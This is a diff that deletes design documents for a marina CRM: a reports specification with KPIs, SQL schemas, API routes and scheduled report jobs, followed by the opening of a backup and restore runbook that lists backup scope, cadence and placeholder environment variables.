approved) — Inquiries by `nationalityIso` of resulting client.
|
||||
6. **Time-to-respond histogram** — Buckets of "minutes from inquiry to
|
||||
first contact." Highlights slow response times.
|
||||
|
||||
### Tables
|
||||
|
||||
1. **Top-converting sources** — Source, count, win rate, total revenue,
|
||||
avg time-to-close.
|
||||
2. **Recent inquiries** — Date, source, name, mooring, status (open /
|
||||
converted / discarded), rep.
|
||||
3. **Stuck inquiries** — Submitted >X days ago, not yet contacted.
|
||||
|
||||
### Filters
|
||||
|
||||
- Specific source (drill-down)
|
||||
- Mooring (which berth pages drive conversion)
|
||||
- UTM campaign (if/when we add UTM tracking — currently only `source`)
|
||||
|
||||
---
|
||||
|
||||
## Report 04 — Operational ✅ LOCKED 2026-05-27
|
||||
|
||||
**Purpose:** answer "how full are we, how long do tenancies last,
|
||||
where are operational bottlenecks (signing, occupancy turnover)."
|
||||
|
||||
**Conditional behaviour:** half this report (tenancy charts + KPIs)
|
||||
depends on `tenancies_module_enabled = true`. When the module is off,
|
||||
those tiles render `—` with a "Tenancies module disabled" hint and
|
||||
the tenancy charts/tables are omitted entirely (replaced with a
|
||||
single "Enable tenancies in System Settings to populate this section"
|
||||
banner).
|
||||
|
||||
### KPI strip (7 tiles; some auto-hide)
|
||||
|
||||
| # | Tile | Formula | Notes |
|
||||
| --- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **Total berths** | `count(berths) WHERE archivedAt IS NULL` | Physical inventory |
|
||||
| 2 | **Sold %** | `count(status='sold') / total × 100%` | Period-over-period delta computed from `audit_logs` (entity_type='berth', action='status_changed'). All historical changes incl. accidental/manual ones are reflected — the audit log is the truth source |
|
||||
| 3 | **Under offer %** | Live compute from `interest_berths`: any berth with an active `is_specific_interest=true` link whose interest has open outcome | Quality-first source; catches drift where `berths.status` column lags the link table |
|
||||
| 4 | **Active tenancies** | `count(berth_tenancies) WHERE status='active'` | Module-OFF → `—` |
|
||||
| 5 | **Avg tenancy length** | `median(endDate - startDate)` for `status='ended'` tenancies, in years (1 decimal) | Module-OFF → `—`. Need ≥3 ended tenancies for meaningful median; otherwise `—` with hint |
|
||||
| 6 | **Signing turnaround (per type)** | `median(document.completedAt - document.sentAt)` per document type | Three small stats in one tile: `EOI 4.2d · Reservation 6.8d · Contract 12.4d`. Excludes voided + declined |
|
||||
| 7 | **Berths in conflict** | `count(berths WHERE >1 active interest has is_specific_interest=true)` | **Hidden when 0**; appears (and reads red) when ≥1 conflict — the "two clients want the same berth" alarm |
|
||||
|
||||
### Charts (7)
|
||||
|
||||
1. **Berth utilisation timeline** (echarts heatmap)
|
||||
- Grid: `area × month`; cell colour = % occupied (sold + under-offer) in that area that month
|
||||
- **Range:** user-pickable, default trailing 24 months
|
||||
- Reuses `audit_logs` reconstruction (same engine as KPI 2)
|
||||
|
||||
2. **Status mix over time** (recharts stacked area, with **toggle**)
|
||||
- Two views: proportional (100%-stacked) AND absolute counts
|
||||
- Toggle button on the chart switches between them
|
||||
- 3 series: available / under_offer / sold
|
||||
|
||||
3. **Tenancy churn waterfall** _(module ON)_ (echarts waterfall)
|
||||
- Per bucket: `+ new active`, `− ended`, `= net Δ`
|
||||
- **Bucket: auto-pick** — monthly if avg >2 events/month, else quarterly
|
||||
|
||||
4. **Tenure distribution** _(module ON)_ (recharts histogram bar)
|
||||
- Marina-tuned buckets: `<1y` / `1–5y` / `5–10y` / `10–20y` / `20y+`
|
||||
- Ended tenancies only (active ones have no end date yet)
|
||||
|
||||
5. **Signing turnaround box plot** (echarts)
|
||||
- One box per document type (EOI / Reservation / Contract)
|
||||
- Median + quartiles + whiskers + outlier dots
|
||||
- Excludes voided + declined
|
||||
|
||||
6. **Occupancy by area** (recharts stacked horizontal bar)
|
||||
- One bar per area; segments coloured sold / under_offer / available
|
||||
- Scales cleanly to 10+ areas (vs donut-per-area which doesn't)
|
||||
|
||||
7. **Documents in pipeline** (recharts stacked bar)
|
||||
- Per document type, count by current status (`pending` / `sent` / `signed` / `declined` / `voided`)
|
||||
- Spots stuck batches at a glance
|
||||
|
||||
### Tables (4)
|
||||
|
||||
1. **Tenancies ending soon** _(module ON)_
|
||||
- Window: **next 6 months** (default)
|
||||
- Columns: client · berth · tenure type · end date · days until end · quick action (renew / end)
|
||||
- Sort: `endDate` asc
|
||||
|
||||
2. **Berths with no current owner**
|
||||
- Threshold: available for **>60 days**
|
||||
- Columns: mooring · area · dimensions · price · days available · last viewed date (from public berth-page analytics if available)
|
||||
|
||||
3. **Stuck signing**
|
||||
- **Document-type-aware thresholds:** EOI >10d / Reservation >7d / Contract >5d
|
||||
- Columns: document type · client · sent date · days outstanding · next signer · resend button
|
||||
|
||||
4. **Highest-value vacant berths**
|
||||
- Available berths sorted by `price` desc
|
||||
- Columns: mooring · area · dimensions · price · days available
|
||||
- Sales-focus list
|
||||
|
||||
### Filters
|
||||
|
||||
- **Cross-cutting** (auto-hidden when not relevant): date range + comparison toggle + rep + source
|
||||
- **Operational-specific:**
|
||||
- **Berth area** — multi-select; restricts heatmap + tables
|
||||
- **Tenure type** — permanent / fixed-term (affects tenancy charts + ending-soon table)
|
||||
- **Document type** — EOI / Reservation / Contract (affects signing chart + stuck-signing)
|
||||
- **Status filter** — for the heatmap/status-mix views: which statuses to display
|
||||
|
||||
### Currency handling
|
||||
|
||||
- All berth prices render in port-default currency
|
||||
- Underlying records can be in any currency; convert at render time
|
||||
- Render with thousand-separator + currency symbol
|
||||
|
||||
---
|
||||
|
||||
## Report 05 — Custom (ad-hoc composer)
|
||||
|
||||
**Purpose:** answer questions the canonical reports don't cover.
|
||||
|
||||
### Composition surface
|
||||
|
||||
1. **Pick an entity** (one): Clients, Yachts, Companies, Interests,
|
||||
Berths, Tenancies, Invoices, Expenses, Documents,
|
||||
Website Submissions.
|
||||
2. **Pick columns** — checkbox list of available columns for that
|
||||
entity, with sensible defaults pre-checked. Includes computed
|
||||
columns where they exist (e.g. `daysOverdue` on invoices).
|
||||
3. **Add filters** — one row per filter; each row: column → operator
|
||||
(=, ≠, in, contains, > <, between, is null) → value picker
|
||||
appropriate to the column type. AND/OR between rows.
|
||||
4. **Group by** (optional single dimension) — column from the entity.
|
||||
5. **Sort** — column + direction.
|
||||
6. **Aggregate** (when group-by is set) — count, sum, avg, min, max
|
||||
on each numeric column.
|
||||
7. **Live preview** — first 50 rows render as you build, server query
|
||||
re-runs on debounced change.
|
||||
8. **Save** — three buttons:
|
||||
- **Run once** — generate the report and add to library, no
|
||||
template saved.
|
||||
- **Save as template** — name + scope (personal / port-wide).
|
||||
- **Update existing template** — only visible if you opened from a
|
||||
template.
|
||||
|
||||
### Permissions
|
||||
|
||||
- Column whitelist per entity per role. A rep without
|
||||
`clients.view_pii` cannot pick `email` or `phone` columns. Same
|
||||
enforcement on the server-side row filter.
|
||||
- Filtering is always tenant-scoped via `port_id` (defense in depth).
|
||||
|
||||
### Output
|
||||
|
||||
- Same export buttons (PDF / CSV / Excel) as canonical reports.
|
||||
- PDF treatment uses the standard branded shell.
|
||||
|
||||
---
|
||||
|
||||
## Templates system
|
||||
|
||||
Applies to all 5 categories.
|
||||
|
||||
### Lifecycle
|
||||
|
||||
1. **Open a builder** — defaults to "Untitled" config.
|
||||
2. **Modify any filter / column / range** — header shows "Modified ●"
|
||||
indicator.
|
||||
3. **Save** — three options:
|
||||
- Overwrite the loaded template (if any).
|
||||
- Save as new (prompts for name + scope).
|
||||
- Discard changes.
|
||||
4. **Templates page** — list of all templates, per-template actions:
|
||||
open, run, schedule, share, archive.
|
||||
|
||||
### Scope
|
||||
|
||||
- **Personal** — visible only to creator. Can be promoted to port-wide
|
||||
later.
|
||||
- **Port-wide** — visible to all reps in the port; editable only by
|
||||
admins. "Owned by" name shown.
|
||||
|
||||
### Storage
|
||||
|
||||
- `report_templates` table already exists (per `schema/reports.ts`),
|
||||
audit to confirm shape matches the lifecycle above.
|
||||
|
||||
---
|
||||
|
||||
## Schedules
|
||||
|
||||
### Schedule object
|
||||
|
||||
- `templateId` — the report to run
|
||||
- `cron` expression OR friendly cadence (daily 9am, weekly Mondays,
|
||||
monthly 1st)
|
||||
- `emailEnabled` — boolean. When true, fires email; when false, only
|
||||
drops into runs library.
|
||||
- `recipients` — array of email addresses (only used when
|
||||
`emailEnabled`)
|
||||
- `format` — pdf / csv / xlsx — what to attach to the email
|
||||
- `lastRunAt`, `nextRunAt`, `lastResult` (success / failure)
|
||||
|
||||
### Worker
|
||||
|
||||
- BullMQ recurring job already exists in the stack; one queue
|
||||
`report-runs` does both on-demand and scheduled runs.
|
||||
- Failure surface: email the schedule creator on first failure (with
|
||||
short error), backoff retry once, mark `lastResult='failure'`.
|
||||
|
||||
---
|
||||
|
||||
## Open questions for the user
|
||||
|
||||
1. **AR aging buckets.** Do we use 30-day buckets or 14-day buckets?
|
||||
30 is industry standard; 14 catches issues earlier.
|
||||
2. **Currency normalisation for revenue.** USD or EUR as default? Or
|
||||
the port's `branding_default_currency`?
|
||||
3. **Sales rep visibility.** Should a rep see ONLY their own metrics
|
||||
on Sales Performance by default (with admins seeing the full
|
||||
leaderboard), or always the full team?
|
||||
4. **Inquiry → interest auto-link rule.** We've got `convertedAt` on
|
||||
`websiteSubmissions` and `sourceInquiryId` on `clients`. Is every
|
||||
conversion captured today, or are some manual links missed (which
|
||||
would skew the marketing report)?
|
||||
5. **"Pulse" / heat data.** Should the Sales report surface the deal
|
||||
pulse metric, or is that a separate "Deal Pulse" report?
|
||||
6. **Geographic chart.** The `react-simple-maps` library is approved
|
||||
(per memory). Are we OK to use it for the Marketing country chart,
|
||||
or is that scope creep?
|
||||
7. **Custom builder entity scope.** All 10 entities above, or start
|
||||
with the 4 sales-core ones (Clients, Yachts, Interests, Berths)
|
||||
and expand later?
|
||||
@@ -1,278 +0,0 @@
|
||||
# Reports Page Design (`/{portSlug}/reports`)
|
||||
|
||||
> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
|
||||
|
||||
## Goals & non-goals
|
||||
|
||||
**Goals**
|
||||
|
||||
- Promote PDF report generation from a cramped dashboard dialog (~25 widgets and growing) to a dedicated landing + builder page.
|
||||
- Support saved-template management (rename / archive / share-with-team / duplicate).
|
||||
- Add run history so reps can answer "send me the same report Sarah ran last month."
|
||||
- Scheduled recurring reports (weekly / monthly / quarterly) with per-recipient email delivery.
|
||||
- One-click "Generate & email" alongside "Generate & download."
|
||||
- CSV + PNG/JPEG chart-snapshot outputs alongside the existing PDF.
|
||||
- Per-report metadata overrides: title, subtitle, cover-page branding swap.
|
||||
|
||||
**Non-goals (v1)**
|
||||
|
||||
- Excel workbook output (`xlsx`) — defer; PDF + CSV cover the asks.
|
||||
- Public hosted-HTML share-link to a report — defer.
|
||||
- Cover-page intro paragraph + footer/sign-off — defer; title/subtitle is enough.
|
||||
- A separate "Reports admin" page; admin controls live alongside the same `/reports` surface gated by `reports.admin`.
|
||||
|
||||
---
|
||||
|
||||
## Routing
|
||||
|
||||
```
|
||||
/{portSlug}/reports
|
||||
├── (default view) Landing: every report kind as a card with "Generate" CTA + the port's saved templates
|
||||
├── /[kind] Per-report-kind builder (two-panel: sections checklist + live preview)
|
||||
├── /templates Shared-templates manager (rename / archive / duplicate / share)
|
||||
├── /runs Run history (re-run / re-email)
|
||||
└── /schedules Active recurring schedules (pause / edit recipients / cadence)
|
||||
```
|
||||
|
||||
The existing dashboard "Export as PDF" button is rewired to navigate to `/{portSlug}/reports/dashboard?range=YYYY-MM-DD..YYYY-MM-DD` with the active date range pre-filled. One-click access preserved; rep lands in the full builder with everything pre-selected and the PDF preview ready.
|
||||
|
||||
---
|
||||
|
||||
## Data model
|
||||
|
||||
Three new tables.
|
||||
|
||||
### `report_templates_shared`
|
||||
|
||||
Per-port, port-scoped, optionally shared with the whole team.
|
||||
|
||||
```sql
|
||||
CREATE TABLE report_templates_shared (
|
||||
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||
name text NOT NULL,
|
||||
description text,
|
||||
-- The report-kind union ('dashboard' | 'website-analytics' | 'client-summary' | 'interest-summary' | 'berth-spec' | 'occupancy' | …).
|
||||
-- Same vocabulary the existing PDF exporter uses.
|
||||
kind text NOT NULL,
|
||||
-- Widget selection + per-widget option overrides + report metadata.
|
||||
config jsonb NOT NULL,
|
||||
-- 'private' = creator only; 'team' = anyone with reports.export at this port.
|
||||
visibility text NOT NULL DEFAULT 'private',
|
||||
created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
|
||||
archived_at timestamptz,
|
||||
created_at timestamptz NOT NULL DEFAULT now(),
|
||||
updated_at timestamptz NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX report_templates_shared_port_kind_idx ON report_templates_shared(port_id, kind);
|
||||
CREATE INDEX report_templates_shared_port_visibility_idx ON report_templates_shared(port_id, visibility);
|
||||
```
|
||||
|
||||
Notes:
|
||||
|
||||
- `config.sections: string[]` — widget ids, same shape as today's dialog.
|
||||
- `config.dateRange: { from?: string, to?: string, mode?: 'last_7' | 'last_30' | 'last_90' | 'custom' }` — saved templates default to relative ranges so a "Weekly snapshot" template stays fresh.
|
||||
- `config.metadata: { title?: string, subtitle?: string, brandingPortId?: string }` — `brandingPortId` lets the report use another port's logo/colour on the cover (admin-only).
|
||||
- `config.kindOptions` — per-kind option bag; e.g. for `website-analytics` the country filter, for `client-summary` the client-id.
|
||||
- Partial unique on `(port_id, lower(name)) where archived_at is null` — no two active templates share a name per port.
|
||||
|
||||
### `report_runs`
|
||||
|
||||
Append-only audit log of every generated report.
|
||||
|
||||
```sql
|
||||
CREATE TABLE report_runs (
|
||||
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||
-- Nullable: ad-hoc runs (no template) still get logged.
|
||||
template_id text REFERENCES report_templates_shared(id) ON DELETE SET NULL,
|
||||
schedule_id text REFERENCES report_schedules(id) ON DELETE SET NULL,
|
||||
kind text NOT NULL,
|
||||
config jsonb NOT NULL, -- snapshotted at run time so re-runs reproduce identically
|
||||
output_format text NOT NULL, -- 'pdf' | 'csv' | 'png' | 'jpg'
|
||||
-- Storage key of the rendered artefact. Same backend as files (s3 or filesystem).
|
||||
storage_key text,
|
||||
size_bytes integer,
|
||||
status text NOT NULL DEFAULT 'pending', -- 'pending' | 'rendering' | 'complete' | 'failed'
|
||||
error_message text,
|
||||
triggered_by text NOT NULL, -- 'user' | 'schedule'
|
||||
triggered_by_user_id text REFERENCES "user"(id) ON DELETE SET NULL,
|
||||
-- When non-null, this run was emailed to these recipients on completion.
|
||||
emailed_to jsonb, -- Array<{ name?: string, email: string }>
|
||||
emailed_at timestamptz,
|
||||
created_at timestamptz NOT NULL DEFAULT now(),
|
||||
completed_at timestamptz
|
||||
);
|
||||
CREATE INDEX report_runs_port_created_idx ON report_runs(port_id, created_at DESC);
|
||||
CREATE INDEX report_runs_port_user_idx ON report_runs(port_id, triggered_by_user_id);
|
||||
CREATE INDEX report_runs_port_template_idx ON report_runs(port_id, template_id) WHERE template_id IS NOT NULL;
|
||||
```
|
||||
|
||||
### `report_schedules`
|
||||
|
||||
```sql
|
||||
CREATE TABLE report_schedules (
|
||||
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||
template_id text NOT NULL REFERENCES report_templates_shared(id) ON DELETE CASCADE,
|
||||
-- 'weekly_monday_9' | 'monthly_first_9' | 'quarterly_first_9' to start; cron string optional later.
|
||||
cadence text NOT NULL,
|
||||
recipients jsonb NOT NULL, -- Array<{ name?: string, email: string }>
|
||||
output_format text NOT NULL DEFAULT 'pdf',
|
||||
enabled boolean NOT NULL DEFAULT true,
|
||||
last_run_at timestamptz,
|
||||
next_run_at timestamptz NOT NULL, -- pre-computed for the BullMQ scheduler
|
||||
created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
|
||||
created_at timestamptz NOT NULL DEFAULT now(),
|
||||
updated_at timestamptz NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX report_schedules_port_enabled_next_idx ON report_schedules(port_id, enabled, next_run_at);
|
||||
```
|
||||
|
||||
A schedule lifecycle:
|
||||
|
||||
1. Created via the builder ("Schedule recurring" panel) or `/schedules` page.
|
||||
2. BullMQ cron checks every 15 min for `enabled=true AND next_run_at <= now()`.
|
||||
3. For each match: create a `report_runs` row (`triggered_by='schedule'`), enqueue the rendering job, then advance `next_run_at` based on cadence.
|
||||
4. Rendering job completes → email job fires with the storage key.
|
||||
|
||||
---
|
||||
|
||||
## API surface (`/api/v1/reports/*`)
|
||||
|
||||
| Verb | Path | Permission | Notes |
|
||||
| ------ | ------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | `/api/v1/reports/generate` | `reports.export` | One-shot generate. Body: `{ kind, config, outputFormat?, deliverTo?: { recipients[] } }`. Returns `{ runId, downloadUrl }` (presigned) or fires email job when `deliverTo` set. |
|
||||
| GET | `/api/v1/reports/templates` | `reports.export` | Lists templates visible to the caller (own private + team-shared). |
|
||||
| POST | `/api/v1/reports/templates` | `reports.export` | Create a template (visibility defaults to `private`). |
|
||||
| PATCH | `/api/v1/reports/templates/[id]` | `reports.export`\* | Update name / description / config. `*` Only the creator OR holders of `reports.admin` can edit team-shared templates. |
|
||||
| DELETE | `/api/v1/reports/templates/[id]` | `reports.admin` | Soft-delete (sets `archived_at`). Frontend uses "Archive" copy. |
|
||||
| POST | `/api/v1/reports/templates/[id]/duplicate` | `reports.export` | Returns a copy owned by caller, visibility=`private`. |
|
||||
| GET | `/api/v1/reports/runs` | `reports.export` | Run history. Filter params: `templateId`, `userId`, `kind`, `from`, `to`. |
|
||||
| POST | `/api/v1/reports/runs/[id]/re-run` | `reports.export` | Generates a fresh run with the original snapshotted config + same recipients (when triggered_by=schedule). |
|
||||
| GET | `/api/v1/reports/runs/[id]/download` | `reports.export` | Presigned URL for the run artefact. |
|
||||
| GET | `/api/v1/reports/schedules` | `reports.admin` | List scheduled jobs. |
|
||||
| POST | `/api/v1/reports/schedules` | `reports.admin` | Create a schedule. |
|
||||
| PATCH | `/api/v1/reports/schedules/[id]` | `reports.admin` | Pause / edit / change recipients. |
|
||||
| DELETE | `/api/v1/reports/schedules/[id]` | `reports.admin` | Remove. |
|
||||
| GET | `/api/v1/reports/availability?kind=...&...` | `reports.export` | Lightweight per-widget presence check (drives the empty-state pills in the builder; already speced in B2 audit). |
|
||||
|
||||
Existing `POST /api/v1/reports/generate` stays — it's the foundation. New endpoints layer on top.
|
||||
|
||||
---
|
||||
|
||||
## Permissions
|
||||
|
||||
Two perms (locked decision):
|
||||
|
||||
- **`reports.export`** — generate + download + manage own private templates. Default ON for `super_admin`, `director`, `sales_manager`, `sales_agent`, `finance_manager`. OFF for `viewer`, `residential_partner`.
|
||||
- **`reports.admin`** — manage BOTH team-shared templates AND schedules. Default ON for `super_admin` only.
|
||||
|
||||
Seed via `src/lib/db/seed-permissions.ts` in the same PR that adds the schema.
|
||||
|
||||
---
|
||||
|
||||
## BullMQ queue + cron handler
|
||||
|
||||
Two new queues:
|
||||
|
||||
- **`reports-render`** — per-run render job. Consumed by `src/jobs/processors/report-render.ts`. Steps:
|
||||
1. Resolve the run's config + storage key.
|
||||
2. Run kind-specific resolver (already wired for `dashboard` and `website-analytics`; new ones get a registry entry).
|
||||
3. Render to `outputFormat` (PDF via existing `pdfme`+`pdf-lib` path; CSV via shared resolver-to-csv helper; PNG/JPEG via puppeteer-snapshot of each chart).
|
||||
4. Upload to storage, update `report_runs` row with `storage_key`, `size_bytes`, `status='complete'`.
|
||||
5. If `triggered_by='schedule'` (schedule has recipients) — enqueue `reports-email` follow-up.
|
||||
|
||||
- **`reports-email`** — fan-out email delivery. Consumed by `src/jobs/processors/report-email.ts`. Uses existing transactional-email infra (`sendBrandedEmail`) with the run artefact as an attachment OR a 7-day signed link when over the per-port attachment threshold.
|
||||
|
||||
A cron-style `reports-scheduler` BullMQ recurring job fires every 15 min:
|
||||
|
||||
1. `SELECT id FROM report_schedules WHERE enabled = TRUE AND next_run_at <= now() ORDER BY next_run_at`.
|
||||
2. For each: create the `report_runs` row + enqueue `reports-render` + UPDATE `next_run_at` based on cadence (helpers in `src/lib/services/report-schedule.service.ts`).
|
||||
|
||||
---
|
||||
|
||||
## UI plan
|
||||
|
||||
### 1. Landing — `/{portSlug}/reports`
|
||||
|
||||
Two-column layout:
|
||||
|
||||
- **Left rail**: report-kind cards (Dashboard, Website Analytics, Client Summary, Interest Summary, Berth Spec, Occupancy, …). Each card shows last-run timestamp + "Generate" CTA opening that kind's builder.
|
||||
- **Right column**: tabs for "My templates" (private), "Team templates" (shared), "Recent runs" (last 10).
|
||||
|
||||
Filtered by `reports.export`/`reports.admin` so a `viewer` never sees the page at all.
|
||||
|
||||
### 2. Builder — `/{portSlug}/reports/[kind]`
|
||||
|
||||
Full-page two-panel layout (the locked Q2 shape):
|
||||
|
||||
```
|
||||
┌────────────────────────────────────┬────────────────────────────────┐
|
||||
│ Title + subtitle inputs │ │
|
||||
│ Date range picker │ │
|
||||
│ ─── Sections (grouped by domain) ──│ Live PDF preview │
|
||||
│ ☑ Summary │ (re-renders on each │
|
||||
│ ☐ Pipeline │ toggle, debounced 200ms)│
|
||||
│ ☑ Berths │ │
|
||||
│ ☑ Lead sources │ │
|
||||
│ ☐ Operations │ │
|
||||
│ ─── Output ─────────────────────── │ │
|
||||
│ ◉ PDF │ │
|
||||
│ ◯ CSV │ │
|
||||
│ ◯ PNG (per chart) │ │
|
||||
│ ─── Delivery ────────────────────── │ │
|
||||
│ ◯ Download │ │
|
||||
│ ◯ Email — recipient list │ │
|
||||
│ ─── Save / Schedule ─────────────── │ │
|
||||
│ [ Save as template ] [ Schedule…] │ │
|
||||
└────────────────────────────────────┴────────────────────────────────┘
|
||||
```
|
||||
|
||||
Per-section row shows the existing "data availability" pill from the B2 audit (`ok` / `no_data` / `needs_window` / `partial`) plus a drag-handle to reorder (locked Q9 polish).
|
||||
|
||||
### 3. Templates manager — `/{portSlug}/reports/templates`
|
||||
|
||||
Table of every visible template with columns: name · kind · visibility · last-used · created-by. Row actions: Open in builder · Rename · Duplicate · Share with team (gated on `reports.admin` for shared ones) · Archive.
|
||||
|
||||
### 4. Run history — `/{portSlug}/reports/runs`
|
||||
|
||||
Server-paginated table. Columns: when · who · template name · kind · format · status · size · re-run / re-email / download.
|
||||
|
||||
### 5. Schedules — `/{portSlug}/reports/schedules`
|
||||
|
||||
Table of active schedules. Columns: template · cadence · recipients · last run · next run · enabled toggle · edit.
|
||||
|
||||
---
|
||||
|
||||
## Quick-path dashboard button
|
||||
|
||||
The existing `<ExportDashboardPdfButton>` (`src/components/reports/export-dashboard-pdf-button.tsx`) is rewired to navigate to `/{portSlug}/reports/dashboard?range=...` instead of opening the in-dashboard dialog. The dialog logic moves into the builder page wholesale (same checklist + same preview component). One-click access preserved; the bigger surface gives reps room to breathe.
|
||||
|
||||
---
|
||||
|
||||
## Phased PR plan
|
||||
|
||||
| PR | Scope | Effort | Ships independently |
|
||||
| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | --------------------------------------------------------------- |
|
||||
| **P1: Schema + perms** | `0084_reports_page.sql` (3 tables + indexes) + seed `reports.export` / `reports.admin` perms + service skeleton (`report-template.service.ts`, `report-run.service.ts`, `report-schedule.service.ts`). No UI changes. | ~4 h | Yes (no behavioural change) |
|
||||
| **P2: Templates API** | CRUD routes for `report_templates_shared` + `report_runs` (read-only at this stage). Mount under `/api/v1/reports/templates` + `/api/v1/reports/runs`. Vitest coverage. | ~4 h | Yes |
|
||||
| **P3: Schedules API + cron** | `/api/v1/reports/schedules` CRUD + BullMQ `reports-scheduler` recurring job + `reports-render` + `reports-email` queues. Renderer reuses the existing PDF path. Vitest + integration tests. | ~8 h | Yes |
|
||||
| **P4: Landing + builder UI** | `/{portSlug}/reports` landing + `/[kind]` builder. Migrate the existing dialog UI into the builder; delete the dialog. Dashboard button rewires to the builder. | ~10 h | Yes (templates/runs UIs still missing — they get a placeholder) |
|
||||
| **P5: Templates + Runs + Schedules pages** | Three sub-route pages, table UIs, row actions, modal forms for "Schedule…". | ~8 h | Yes |
|
||||
| **P6: CSV + PNG outputs** | Add output-format renderers; wire output radio in builder. | ~6 h | Yes |
|
||||
| **P7: Metadata overrides + branding swap** | Title/subtitle inputs + cover-page brand picker (admin-only). | ~3 h | Yes |
|
||||
|
||||
Total: ~43 h spread across 7 PRs.
|
||||
|
||||
---
|
||||
|
||||
## Open follow-ups (intentionally deferred past v1)
|
||||
|
||||
- Excel workbook output.
|
||||
- Public hosted-HTML share-link (write to `/api/public/reports/[id]` with a signed token).
|
||||
- Cover-page intro paragraph + footer/sign-off note.
|
||||
- Custom cron strings (today: enum cadence only — `weekly_monday_9` etc).
|
||||
- Per-user template visibility ('shared with specific users' beyond port-wide team).
|
||||
|
||||
Capture in `docs/BACKLOG.md` after P5 ships.
|
||||
@@ -1,199 +0,0 @@
|
||||
# Backup and restore runbook
|
||||
|
||||
This runbook documents what gets backed up, how often, where it lands, and
|
||||
the exact commands to restore the system from a cold start. The goal is
|
||||
that any operator who has the off-site backup credentials can bring the
|
||||
CRM back up on a clean host without help.
|
||||
|
||||
## Scope of a "full backup"
|
||||
|
||||
The CRM has three stateful surfaces. All three must be captured for a
|
||||
restore to be useful.
|
||||
|
||||
| Surface | Holds | Risk if missing |
|
||||
| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **PostgreSQL** (`port_nimara_crm`) | Every relational record: clients, yachts, companies, interests, reservations, invoices, audit log, GDPR exports, AI usage ledger, Documenso webhook receipts, etc. | Total data loss — site is unrecoverable. |
|
||||
| **MinIO bucket** (`MINIO_BUCKET`, default `crm-files`) | Receipts, signed contracts, EOI PDFs, GDPR export ZIPs, document attachments. | Files reachable by row references in Postgres become 404s. |
|
||||
| **`.env` + secrets** | DB password, MinIO keys, Documenso webhook secret, SMTP creds, encryption key (`ENCRYPTION_KEY`). | OCR API keys re-resolve from `system_settings` (encrypted at rest), but **without the original `ENCRYPTION_KEY` they're unreadable**. |
|
||||
|
||||
The Redis instance is not backed up. It only holds queue state, rate-limit
|
||||
counters, and Socket.IO presence — all reconstructable. Stop the workers
|
||||
during a restore so the queue starts clean.
|
||||
|
||||
## Backup schedule
|
||||
|
||||
Defaults are tuned for a single-port deployment with O(10k) clients. Bump
|
||||
on the producing side as scale demands.
|
||||
|
||||
| Job | Frequency | Retention | Where |
|
||||
| ---------------------------------- | -------------------- | ----------------------------- | -------------------------------------------------------------------- |
|
||||
| `pg_dump` (custom format, gzipped) | Hourly | 7 days hourly + 30 days daily | `${BACKUP_BUCKET}/pg/<host>/<UTC date>/<hour>.dump.gz` |
|
||||
| MinIO mirror | Hourly (incremental) | 30 days versions | `${BACKUP_BUCKET}/minio/` |
|
||||
| `.env` snapshot (encrypted) | On change (manual) | Forever | Password manager / secrets vault — **never the same bucket as data** |
|
||||
|
||||
The hourly cadence is the right answer for this workload — invoices and
|
||||
contracts cluster around business hours, and an hour of lost work is the
|
||||
worst-case data loss window most clients will tolerate. Promote to 15-min
|
||||
WAL streaming if a customer demands tighter RPO.
|
||||
|
||||
## Required environment variables
|
||||
|
||||
The scripts below read these. Store them in a CI secret store, not the
|
||||
host's bash profile.
|
||||
|
||||
```
|
||||
# Source (the running CRM database)
|
||||
DATABASE_URL=postgresql://crm:<pw>@<host>:<port>/port_nimara_crm
|
||||
|
||||
# MinIO (source bucket — the live one)
|
||||
MINIO_ENDPOINT=minio.letsbe.solutions
|
||||
MINIO_PORT=443
|
||||
MINIO_USE_SSL=true
|
||||
MINIO_ACCESS_KEY=<live key>
|
||||
MINIO_SECRET_KEY=<live secret>
|
||||
MINIO_BUCKET=crm-files
|
||||
|
||||
# Backup destination (a *separate* MinIO/S3 endpoint or a different bucket
|
||||
# with no IAM overlap with the live keys)
|
||||
BACKUP_S3_ENDPOINT=https://s3.eu-west-1.amazonaws.com
|
||||
BACKUP_S3_REGION=eu-west-1
|
||||
BACKUP_S3_BUCKET=portnimara-backups-prod
|
||||
BACKUP_S3_ACCESS_KEY=<dedicated read+write key for this bucket only>
|
||||
BACKUP_S3_SECRET_KEY=<...>
|
||||
|
||||
# Optional: encrypts dumps at rest with a passphrase. Cuts a wider blast
|
||||
# radius if the backup bucket itself is compromised.
|
||||
BACKUP_GPG_RECIPIENT=ops@portnimara.com
|
||||
```
|
||||
|
||||
## Provisioning the backup destination
|
||||
|
||||
1. Create a dedicated S3-compatible bucket in a **different account** from
|
||||
the live infra. AWS S3, Backblaze B2, or a separately-credentialed
|
||||
MinIO instance all work.
|
||||
2. Apply object-lock or versioning so an attacker who steals the backup
|
||||
write key still can't permanently delete history.
|
||||
3. Generate IAM credentials scoped to `s3:PutObject`, `s3:GetObject`,
|
||||
`s3:ListBucket` on this bucket only. Inject them as
|
||||
`BACKUP_S3_*` above. Do not reuse the live `MINIO_*` keys.
|
||||
4. Set a 90-day lifecycle rule that transitions objects older than 30
|
||||
days to cold storage and deletes them at 90 days. Past 90 days it's
|
||||
cheaper to restart from a snapshot taken outside the system.
|
||||
|
||||
## The scripts
|
||||
|
||||
Three scripts in `scripts/backup/`:
|
||||
|
||||
